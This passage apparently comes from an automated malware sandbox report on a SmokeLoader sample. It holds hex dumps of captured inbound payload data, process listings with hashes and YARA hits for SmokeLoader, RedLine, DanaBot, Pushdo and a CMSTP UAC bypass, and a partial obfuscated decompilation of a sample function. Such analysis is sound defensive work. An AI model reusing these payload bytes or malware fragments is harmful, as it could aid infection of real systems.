)-$u[a_V\|mNC1].@,H<CA]'{RIqRPPNMkAn$uIlvK5WARd36kL[G3/4f'C9E;h3idTd(\<%wExd_uzne=9%8J\
2023-02-16 09:01:41 UTC	288	IN	Data Raw: a5 17 eb f6 33 ef 49 d5 1d 36 10 25 3f 3c 8f f8 82 5d 66 36 71 0d fb fa a3 cf 8b 09 9f 56 0e 87 25 90 9c b4 71 cf a3 0e 6a c7 a3 e3 c9 29 1b e0 1e de 8a b4 03 bf 2a a7 43 b7 51 cb 82 42 a9 c7 49 60 d3 bb 34 11 93 9e ea bd 69 96 fc 7a 09 6b 5d 78 74 ec b4 da 4e 61 95 84 7f e7 fd cb 86 a3 2c 5b 4c 1e 59 23 bb 54 6a 23 ab 74 72 c3 41 a8 8d 6b 0a ba 6b 78 c3 3f 83 d4 2a a9 4d 15 3d 16 f8 bb c5 1d 86 ed e3 bc b9 36 5a 69 4b 42 e8 d4 a5 36 35 3f e1 67 a0 77 ba 31 4d 93 e2 61 6d 46 55 c4 37 8f 38 30 77 f6 03 b8 68 e4 eb 8f c1 3f c6 9f 28 3c 7e 93 49 47 d1 cd 95 14 de 08 52 f4 76 53 be 61 b8 2a ae ed ae ae a6 0a 89 0a ce 14 2f 0b d8 92 df 2e 2e ce b9 4a 61 2f 0a bb ef bd 00 4c 3b a6 d5 e5 4b 77 1e 5a 39 2e 56 bd 03 e0 79 9c f5 14 33 4e 76 83 7b d3 11 6d da ac ad Data Ascii: 3I6%?<]f6qV%qj)CQBI`4izk]xtNa,[LY#Tj#trAkkx?M=6ZiKB65?gw1MamFU780wh?(<~IGRvSa*/..Ja/L;KwZ9.Vy3Nv{m
2023-02-16 09:01:41 UTC	304	IN	Data Raw: fd 5e 18 3a db 4e 6f da 01 06 a0 09 0b 66 ba 3d 9c 50 4a 5c aa b5 fd 6a 7d 57 5b b0 3e d3 4f 96 c9 59 9c 03 b1 f8 a9 7f 11 24 ac 3b d7 05 e6 7c e6 4f 5e 6d 6d 1a 39 6b 78 7b 69 0d ec 6c d7 49 df c3 24 22 73 cc cf 41 0b 74 01 92 86 b1 c8 c6 f8 33 ef e4 f1 74 e5 4a c2 a2 32 ef c1 bb c8 0a cf cc 39 b7 37 8c ab 12 ff 10 ac f3 0e b7 d1 cf 32 f3 ac a6 57 b0 39 20 3c 2b 57 c8 f9 53 6e 20 76 fe 88 bb 1c 68 62 47 57 06 2d 92 d6 d8 70 92 ed e6 32 a9 c5 33 b7 53 89 dd ee 80 5a 99 58 70 44 38 df b1 f2 f0 5a 86 c6 e6 bd 56 e7 d7 0b 88 b5 e5 b1 31 a4 39 dc 00 1b 20 f6 04 be 6b 87 dc 19 2a be 54 f4 ec 48 17 1d 01 5a 11 bf 43 e8 7b db db c7 b2 9a 8a 36 aa 48 6f 7d 92 d5 82 27 a8 b6 e2 9d fb 26 dc 37 8e 41 09 13 9f bf 1e c2 b0 cf 5a 3d f7 90 cb b6 b0 82 e2 0a be cc 44 7e Data Ascii: ^:Nof=PJ\j}W[>OY$;\|O^mm9kx{ilI$"sAt3tJ2972W9 <+WSn vhbGW-p23SZXpD8ZV19 k*THZC{6Ho}'&7AZ=D~
2023-02-16 09:01:41 UTC	320	IN	Data Raw: af 74 f3 65 b5 a9 f1 17 e2 2a 09 99 51 19 c3 f7 fd fb 0a cf 66 81 55 74 d9 c9 a9 e3 a0 81 54 bb 34 f6 67 ee 21 cd bf cc 85 f3 7c 19 09 43 fc 56 7c ed 8f 27 29 7d e0 0e 98 4c 60 e0 dd 1e 4e 21 2e 54 f7 09 e1 84 06 26 cb 1c 32 5b 53 cf f6 a7 69 c7 7b a8 c3 25 dd 91 89 c4 b8 19 3b db 2f 52 e2 ad d5 fe 1b c5 15 58 0b fb dc fd 51 69 99 27 90 d9 7d d1 d0 31 19 c4 61 8b bc 6f b2 e2 9b 67 c2 a6 e3 21 95 8b 17 2b 0a 75 9d 56 9d 75 2e 2a 18 69 9f c5 9f 6a 9c 73 ea 86 2f e7 68 26 c0 08 1b b2 bd 3b d2 63 2e 83 42 b5 83 84 91 62 d9 91 0b a2 1d 1c e1 27 24 1f 13 ed 7e 8d 5b 20 01 e1 07 bb ef b7 72 ce 7c 2c de db 61 97 55 49 ed 77 7a 1a 21 80 e5 e9 7c 4c 29 d5 1d dc a1 ed b4 2e b9 a0 08 74 80 c0 1e b9 64 66 76 b0 a1 8b 3a 5a 95 f9 b3 8a 1e 68 2a bb c8 28 39 87 f3 55 35 Data Ascii: teQfUtT4g!\|CV\|')}L`N!.T&2[Si{%;/RXQi'}1aog!+uVu.ijs/h&;c.Bb'$~[ r\|,aUIwz!\|L).tdfv:Zh*(9U5
2023-02-16 09:01:41 UTC	336	IN	Data Raw: 22 e4 59 0e e4 a1 7f c7 79 b3 cc 2e b4 1a 51 dc 22 f1 a9 4f 4d 02 e5 fd b5 b0 25 b2 53 bf ff eb fc e1 9f 51 7a 58 79 64 76 ed 45 c3 70 e9 64 2a 10 4c 6c 82 73 be 48 49 eb b0 73 46 8a b6 80 2f b7 27 9b 42 40 de 46 a9 e3 16 9f 0d 8d 29 a4 99 3f 13 37 79 24 a9 81 1e ac 74 43 d5 17 cf 3c 69 f1 fc 39 f9 f3 e0 d9 67 c2 31 8e dc 95 27 8a 0b 7f bf 4b db 27 05 be ed 79 2a ca d5 61 f9 43 2e 70 af 19 f8 06 ce 82 3a c3 84 a4 b8 f4 3b 66 8e cf 4c a8 63 13 6d 61 49 f9 d0 77 0c 3d af 57 09 d8 38 28 19 2c 77 5e ed 43 83 a1 60 1c fb a4 a5 97 15 ef 22 02 4a 82 46 58 26 27 5d 0e 12 ee fd e2 f2 db 4f e4 9c 20 99 03 e6 08 72 ad c7 69 4f 1c 76 e5 09 0b f0 c6 21 26 47 89 ca 0b 6a 27 59 51 9f 2e 15 ea 80 ae 9f 5e 22 01 24 87 d7 72 b6 24 96 f8 5b ae 6c fd 64 d4 ea c9 6f ee 3b 98 Data Ascii: "Yy.Q"OM%SQzXydvEpdLlsHIsF/'B@F)?7y$tC<i9g1'K'yaC.p:;fLcmaIw=W8(,w^C`"JFX&']O riOv!&Gj'YQ.^"$r$[ldo;
2023-02-16 09:01:41 UTC	352	IN	Data Raw: 5a 3c 79 36 ef b1 7b 3a 35 61 49 07 93 2a fb 9d f2 03 fd b2 77 34 da 4f af 99 31 23 25 39 a7 0a cf 3e 90 6e e3 80 70 67 26 a0 25 b7 3f 7c c3 93 7d fc 60 d8 c6 ea 2d 5b 4c 1b c0 27 80 34 ce e1 3e 87 43 19 b9 43 50 8b b4 c6 27 c7 73 4c 0b 78 25 5b 69 bb 24 16 fe 1e 49 74 ff 30 2d 59 a8 06 c3 4f 9a b6 f8 1f 5f 25 3d 28 a5 61 44 d9 c7 4a ef 51 69 eb 84 94 2b d4 dc 4a 54 30 ce af f9 a1 7e 42 7e 52 2b 92 ee 94 cc d7 ad bc f8 04 42 a7 a3 af 7e 89 21 fd 8a 86 aa a6 9f bd ce e8 f6 6e 8b 70 c9 f9 04 94 5f c0 22 79 56 9b e1 fa 11 ab 54 20 80 dd e4 1f 7c 0f 93 ea 41 b9 51 d0 13 5b 45 f1 18 3c 1e fd 22 69 69 e3 b9 3c 0f 28 5a e8 45 b7 8c 18 f2 ba 9f c7 eb c8 2a 79 90 70 02 d0 a8 6c 98 4c ba 0d 4d cb 8e 3e 99 02 4a 56 89 ec f7 3a 05 9b 99 68 90 0f d6 80 e0 88 47 21 f9 Data Ascii: Z<y6{:5aIw4O1#%9>npg&%?\|}`-[L'4>CCP'sLx%[i$It0-YO_%=(aDJQi+JT0~B~R+B~!np_"yVT \|AQ[E<"ii<(ZEyplLM>JV:hG!
2023-02-16 09:01:41 UTC	368	IN	Data Raw: 75 55 46 b4 2d 04 62 ce a9 b2 a6 0a 60 9c 58 ea af 95 5b cc a0 5c 4d fb e9 a9 90 07 ec d7 80 75 19 71 34 89 ed 5b 4d b4 6c 37 d5 83 c2 e8 4e eb c2 9d 22 50 a0 30 d0 fe 3e 93 bb 5e 75 f1 ae a4 4c dc 35 37 d8 f3 59 1d f7 b8 71 6f dd 98 0d eb f1 d3 c1 71 12 5f 7e fd e5 30 a2 10 cb 1a 87 aa f0 9d a4 0a e2 8f 5e 19 10 48 45 96 ca fc 87 d2 fb 41 a3 7d e1 14 b0 69 05 6a d4 13 7e ed 3d 54 f9 92 3f 3c 2e db 33 44 bc b0 93 9d dc 81 23 3f 51 dd 5d 5d b1 b0 27 5a 6d d5 9f be 4d e3 59 3a 88 9a fe 44 0b 57 02 68 3b 7b cf f0 2c 2e ab eb e2 cc e4 40 f2 5e 47 52 b9 7e 1c f5 bd 14 f9 d6 9a a8 31 17 0f 90 42 75 86 f3 04 b5 c2 c5 3a 0c fc c4 47 ee da 66 b7 92 4c b3 a4 21 e5 3f b3 bc 21 52 17 16 18 d2 f0 14 44 9f 51 3f 4b b7 a7 ba 4f 62 95 5a 70 01 23 40 c2 b0 e8 d3 8b c7 f4 Data Ascii: uUF-b`X[\Muq4[Ml7N"P0>^uL57Yqoq_~0^HEA}ij~=T?<.3D#?Q]]'ZmMY:DWh;{,.@^GR~1Bu:GfL!?!RDQ?KObZp#@
2023-02-16 09:01:41 UTC	384	IN	Data Raw: 29 e4 1d 2a 3f 08 e9 76 f8 4c 49 53 20 77 1b 57 7e 03 b2 2e f1 5f b5 2b c4 8d 81 da ad c1 c4 e1 90 f1 25 41 6c 41 1b bf 7f 54 c3 47 00 49 5e 9b 0f 92 00 d7 3e f1 85 fb 26 2e 9a 3b 9e 7b 05 5f 6a a5 9f 78 2d 13 cc c0 eb 74 a3 e2 e8 64 77 7b 24 09 88 ea 4c 2f 94 89 52 f2 f4 de 15 61 71 2b 53 6d 6d f5 90 dc 46 f9 99 46 4b cc 4e aa 42 9b f0 a1 55 9d dd fc 1a 4e 34 70 9c 1b 25 87 61 fd 65 10 01 71 d7 46 76 1e 64 b4 77 f2 58 26 0b 76 b4 c6 c8 df 6a bf b4 f5 23 7b 2e e6 24 35 d6 f5 4c 6b be 00 08 c5 eb 0d 1a 56 ea 36 8e df 1c 07 8e 75 77 46 ac a5 bd 37 a1 51 40 a0 2a e9 28 f3 9b 57 6d 6b 0c 48 02 ba 47 b0 89 07 b6 fc 0d bc 61 3d b6 34 cf 61 93 34 0b 0d a1 3c 27 10 fe 31 b8 01 b8 92 32 b8 75 13 12 56 12 62 cf 36 49 5f c5 95 1c a1 4c fb 0d 9e d1 f8 43 9a 11 c5 d8 Data Ascii: )?vLIS wW~._+%AlATGI^>&.;{_jx-tdw{$L/Raq+SmmFFKNBUN4p%aeqFvdwX&vj#{.$5LkV6uwF7Q@(WmkHGa=4a4<'12uVb6I_LC
2023-02-16 09:01:41 UTC	400	IN	Data Raw: 08 b5 47 45 70 0d 89 2b d3 e4 4a 18 3d 39 0b 16 79 4d 72 d3 7c ad 6f 48 d8 5e 35 fd b6 ad a9 08 44 cc ce 23 7f 7d e0 6b f3 87 e5 26 53 ba 35 5f 1a e8 c7 91 2f 94 fd 53 e1 99 ed cd 72 22 a8 1e 65 8a 08 e0 7d 21 16 62 67 ae e4 43 3a 37 36 24 c0 88 93 5a 0d f7 5e d1 c6 15 4e 17 54 5b 80 e1 d5 26 72 69 82 18 83 7f 88 a2 19 fd aa 24 71 7c 06 99 e5 52 77 27 a6 88 30 1f 08 a7 ac d5 fb 46 fa 1f 12 93 69 d4 7b 00 a0 6b 9b 26 87 43 f9 4c d5 41 aa 13 77 20 80 e1 68 5a 08 59 a6 a4 cc 10 c7 f6 17 ca 2a b4 5c 8b 25 fc 6f ed 8a b8 89 cb 66 ce f2 36 b0 46 2d e2 d2 46 44 0b 87 57 15 08 b3 12 c9 03 51 61 86 77 67 0c 2a b6 62 81 12 8b 35 15 5d da 16 ae ae 29 33 6b 90 ea 84 b2 66 d1 89 07 4b 81 e1 0f 3d 7d 7b 1e 84 f7 40 2e 1c f5 fa f2 09 b6 da 07 35 2f e9 bb 05 ee 65 6e 80 Data Ascii: GEp+J=9yMr\|oH^5D#}k&S5_/Sr"e}!bgC:76$Z^NT[&ri$q\|Rw'0Fi{k&CLAw hZY\%of6F-FDWQawgb5])3kfK=}{@.5/en
2023-02-16 09:01:41 UTC	416	IN	Data Raw: ee a8 52 47 d6 d9 43 6b b7 bf 1a 0d b4 c1 ba bb 68 56 d5 8c f6 fe eb b5 45 56 11 67 5c eb 34 02 a5 f7 43 94 29 60 1f a5 2d 88 84 96 57 bf 3e c0 4e 07 70 bf 0b 51 34 d0 68 2a 45 7f 67 ed 92 0c 6b 87 7e e2 45 23 d4 da 4b 06 0c 33 8e b5 d4 ca 59 11 72 5a ff ea 83 f8 f8 f7 af a4 94 21 08 0c 72 7f 8b 8d 28 ae a1 4f 58 e4 29 46 38 c7 fc 45 c2 f2 2c 2a da f1 b5 aa 9a af 8b f3 b0 9d 54 ed 8c e9 49 5a 0d 9a ec cb dd 1c a8 50 a4 c2 c3 69 a5 b0 d4 9e b5 f8 d7 00 8e 61 30 30 6f 0e f4 be 4b 10 17 bf c1 00 ee 67 18 5d 72 d4 7b 31 8d 4c 37 00 2b 0d da e0 c2 3b e7 24 cd 28 93 2a ff 90 2a b0 65 6e 6f 81 35 99 fa e6 15 d0 63 ab 62 e4 e1 e4 15 be 88 1c 7d 10 d7 da ca 21 e4 3d 0f 8b 72 a4 29 90 cf 10 ab 06 55 f0 62 82 a7 4d fb cc a4 9e 48 7f ce b6 3e 39 86 0c 06 d5 f6 c4 8b Data Ascii: RGCkhVEVg\4C)`-W>NpQ4hEgk~E#K3YrZ!r(OX)F8E,TIZPia00oKg]r{1L7+;$(**eno5cb}!=r)UbMH>9
2023-02-16 09:01:41 UTC	432	IN	Data Raw: 06 e5 be b4 da ef eb 60 ee 7d 72 a4 76 15 2f 45 2b 48 2b 66 29 9a b5 62 5b 0f 15 a4 e4 52 86 4c 7d 1f 97 ae ef a8 5b 1c 36 a4 d6 01 f4 e6 70 8f 5a 48 73 93 9d 35 c6 cf c7 f6 f1 35 56 f9 3a 2b 41 04 4c 56 27 aa eb 66 68 0c a0 2c db d4 82 e5 a2 b7 f4 4f 92 9a 93 03 97 26 e8 b2 aa 1b 59 cd fc 72 fc ee 83 7e 57 82 83 fa f6 30 ed de d8 da e8 33 c1 af dd 09 c0 03 77 ee e9 2c e4 ec 5d 9d a2 4a 0b a1 e2 c2 54 2f 6b f7 36 30 9d ff 7b b0 44 ff f6 97 2f 29 86 35 2e 28 61 bb 3d c9 47 42 84 72 6d 60 e1 88 5b 50 7b a1 a0 ac 48 4c 0f 46 91 88 35 09 16 9d 96 70 d7 1a 7c b0 39 11 0c d8 b9 ea 72 fe 9d 2a 05 1d 79 e6 83 59 a9 44 31 8a dd 0d 4d aa cd f2 5d 83 9f 62 ff a9 74 0f cd 9f d7 0a 13 53 50 7f f4 15 a1 ba 2e 67 98 3d 7c 04 7c 54 31 80 5d 92 e8 1a 1b 78 ef 7f 34 2c 45 Data Ascii: `}rv/E+H+f)b[RL}[6pZHs55V:+ALV'fh,O&Yr~W03w,]JT/k60{D/)5.(a=GBrm`[P{HLF5p\|9r*yYD1M]btSP.g=\|\|T1]x4,E
2023-02-16 09:01:41 UTC	448	IN	Data Raw: 1f 18 7c 20 c0 23 e2 70 3b 00 f6 b8 fd 44 aa 08 2a a7 0d af d8 22 b3 ef 21 51 1c 2d fb ab 77 0e 84 bf 68 5a fe ab 8d 68 44 4b 5e f0 6c 22 f5 9c e7 87 4e 2f 89 36 4a 30 72 d7 ff e7 b6 ff 80 27 ec 1e f6 bc 66 a8 92 b5 51 54 c7 3b 56 e4 f1 07 5b 4f 1e 6d 1e 53 85 bc c0 c0 29 c1 17 07 f8 b1 48 28 60 54 4a 67 31 2e 63 b1 8a 48 5e 79 d4 09 b9 43 52 53 e4 b0 0c 4a 69 4b f0 da 0a 7f 4f 52 0a 2a 50 8e 9b e9 9a de 9f 34 b0 5c 96 8a 2d 56 c4 ff 89 90 ec 51 a1 4b 4b b4 e5 19 87 6f ca bd 39 e6 8d dd 01 4b 47 2d ed 86 53 1e 91 2d 70 b6 95 03 bd 2e cd 6b bf 3a 9b 98 12 28 af d1 8a 16 a2 54 d2 83 cc 79 3b 2f eb 5c 98 b1 07 b8 8a 8f 06 e2 ca ef f0 20 af c1 51 b2 a2 0a 03 bf 40 bd 5a 54 9d 55 6b 2a ee 96 80 b6 94 2c 32 c7 a5 8b 2a e7 d7 d0 f5 dd f2 79 9e 8b f8 80 53 bb 9f Data Ascii: \| #p;D"!Q-whZhDK^l"N/6J0r'fQT;V[OmS)H(`TJg1.cH^yCRSJiKORP4\-VQKKo9KG-S-p.k:(Ty;/\ Q@ZTUk,2yS
2023-02-16 09:01:41 UTC	464	IN	Data Raw: 7e 00 81 7d 85 00 7d 81 7c 00 80 82 81 00 81 7d 7d 00 8c 84 81 00 83 7e 7f 00 80 7b 80 00 70 65 7b 00 81 7b 7c 00 7e 7b 7c 00 80 82 7c 00 7a 80 7d 00 7d 84 7c 00 7e 7c 84 00 7a 7d 83 00 7f 7d 83 00 84 80 7c 00 6c 77 6e 00 7d 7d 80 00 7d 7c 7f 00 73 78 81 00 7e 7c 7f 00 83 80 80 00 82 81 80 00 81 7b 84 00 80 82 7f 00 85 76 72 00 81 7c 84 00 7c 79 84 00 80 82 7b 00 82 7c 7d 00 80 81 82 00 7f 80 80 00 87 7b 82 00 85 7c 81 00 82 80 83 00 7f 80 82 00 85 7e 7c 00 7d 80 80 00 80 85 7d 00 7b 7f 84 00 7d 80 7c 00 80 7e 80 00 82 7f 7f 00 7c 80 80 00 80 7f 7c 00 7f 86 82 00 82 80 79 00 83 7c 7d 00 82 7b 84 00 65 7e 76 00 83 7b 7d 00 7d 83 82 00 80 85 7c 00 81 83 7e 00 83 81 83 00 7c 7c 84 00 84 7f 7f 00 81 81 80 00 7c 80 84 00 79 7d 80 00 81 84 84 00 7d 86 83 00 7f Data Ascii: ~}}\|}}~{pe{{\|~{\|\|z}}\|~\|z}}\|lwn}}}\|sx~\|{vr\|\|y{\|}{\|~\|}}{}\|~\|\|y\|}{e~v{}}\|~\|\|\|y}}
2023-02-16 09:01:41 UTC	480	IN	Data Raw: 84 81 80 7b 81 7d 83 82 7d 82 7f 7d 86 7a 7c 82 7f 7f 7c 83 89 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 85 83 7f 80 80 7e 84 82 82 7c 80 7d 79 7f 81 7d 81 82 7e 80 7f 7e 80 7c 83 82 7c 80 84 7f 84 7c 7b 83 7b 80 80 87 7d 7e 83 82 7f 7e 8a 7b 7f 84 7f 81 81 82 83 80 81 80 7e 7e 80 83 7e 7c 81 80 83 80 83 84 7f 7d 83 7e 80 7d 7d 7f 7d 79 7f 85 7f 7c 7b 84 7f 82 85 7e 7f 7a 83 80 7e 7f 7e 7d 84 7f 85 80 82 7d 80 83 81 83 7b 81 84 84 7b 7f 7d 7a 7c 7d 82 7b 7d 7e 7c 7d 82 83 84 7b 7c 81 7b 82 83 81 83 83 83 86 80 7e 7e 7f 7a 84 84 7c 81 7d 81 7a 7b 81 85 82 7b 7c 7c 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 82 81 78 82 80 84 7d 7e 83 82 7e 81 83 7d 7c 80 86 80 7c 00 00 00 00 85 7f 7f 7c 81 7c 7d 76 85 84 7f 80 7f 80 7b 7d 79 82 7f 7b 86 Data Ascii: {}}}z\|\|~\|}y}~~\|\|\|{{}~~{~~~\|}~}}}y\|{~z~~}}{{}z\|}{}~\|}{\|{~~z\|}z{{\|\|x}~~}\|\|\|\|}v{}y{
2023-02-16 09:01:41 UTC	496	IN	Data Raw: 00 00 b0 31 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: GyTbKONlyq.exePID: 5436, Parent PID: 3528

General

Target ID:	0
Start time:	10:00:34
Start date:	16/02/2023
Path:	C:\Users\user\Desktop\GyTbKONlyq.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\GyTbKONlyq.exe
Imagebase:	0x400000
File size:	212480 bytes
MD5 hash:	00DFB3BDA309B0E16F6EA1928CE72721
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.349464150.0000000000950000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.349438381.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.350016623.0000000002521000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.349678189.000000000099B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3528, Parent PID: 5436

General

Target ID:	1
Start time:	10:00:40
Start date:	16/02/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff618f60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: gjsvvicPID: 4768, Parent PID: 1088

General

Target ID:	2
Start time:	10:01:16
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Roaming\gjsvvic
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gjsvvic
Imagebase:	0x400000
File size:	212480 bytes
MD5 hash:	00DFB3BDA309B0E16F6EA1928CE72721
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.415515866.0000000000891000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000002.00000002.415409935.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000002.00000002.415684725.00000000008EC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000002.00000002.415462036.0000000000870000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D2B5.exePID: 6116, Parent PID: 3528

General

Target ID:	5
Start time:	10:01:30
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\D2B5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D2B5.exe
Imagebase:	0x400000
File size:	3837952 bytes
MD5 hash:	7CB3BB706DBEF286C79433E12F459EB2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: 00000005.00000003.433953791.0000000003170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: B7BD.exePID: 5372, Parent PID: 3528

General

Target ID:	6
Start time:	10:01:40
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\B7BD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B7BD.exe
Imagebase:	0x400000
File size:	520704 bytes
MD5 hash:	95BF7AA7949C549B0B92405A4EC9E475
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.471859988.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000006.00000002.471728955.0000000000413000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.472010459.0000000000BCB000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: B7BD.exePID: 3176, Parent PID: 5844

General

Target ID:	11
Start time:	10:01:48
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\B7BD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\B7BD.exe"
Imagebase:	0x400000
File size:	520704 bytes
MD5 hash:	95BF7AA7949C549B0B92405A4EC9E475
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.491460370.0000000000921000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.491651603.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.491291370.0000000000413000.00000040.00000001.01000000.00000008.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: 3896.exePID: 1636, Parent PID: 3528

General

Target ID:	12
Start time:	10:02:11
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\3896.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3896.exe
Imagebase:	0xfe0000
File size:	459264 bytes
MD5 hash:	A0114856020C2A20C6C85A7DB2027B03
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 0000000C.00000002.591542045.0000000001440000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: GyTbKONlyq.exePID: 5436, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	67.8%
Signature Coverage:	40%
Total number of Nodes:	90
Total number of Limit Nodes:	2

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
